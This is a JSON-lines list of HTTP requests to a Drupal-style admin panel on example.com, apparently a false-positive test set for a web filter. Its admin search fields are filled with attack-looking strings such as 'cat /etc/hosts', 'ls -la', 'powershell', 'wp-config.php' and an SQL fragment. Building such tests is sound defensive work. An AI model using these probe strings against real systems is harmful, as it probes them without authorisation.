{"method": "GET", "target": "/node/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media-grid", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia_library%3Alocation%3Dpage%26name%3Dmedia_library%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=j9Y8Hgn09m7XQjCW5BfTzqp2SoYZRr5vB6MwyUrqz1w"}
|
||||
{"method": "GET", "target": "/admin/content?title=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=hello%20world&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=hello%20world&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=hello%20world&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=hello%20world&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=python3&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=python3&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=python3&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=python3&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=powershell&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=powershell&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=powershell&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=powershell&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=ls%20-la&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=ls%20-la&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=ls%20-la&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=ls%20-la&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=.htaccess&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=.htaccess&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=.htaccess&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=.htaccess&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=wp-config.php&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=wp-config.php&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=wp-config.php&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=wp-config.php&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=docker-compose.yml&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=docker-compose.yml&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=docker-compose.yml&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=cat%20%2Fetc%2Fhosts&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=cat%20%2Fetc%2Fhosts&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=cat%20%2Fetc%2Fhosts&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=cat%20%2Fetc%2Fhosts&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=SELECT%20rows%20FROM%20table&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=SELECT%20rows%20FROM%20table&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=SELECT%20rows%20FROM%20table&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=SELECT%20rows%20FROM%20table&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/add/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/add/page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
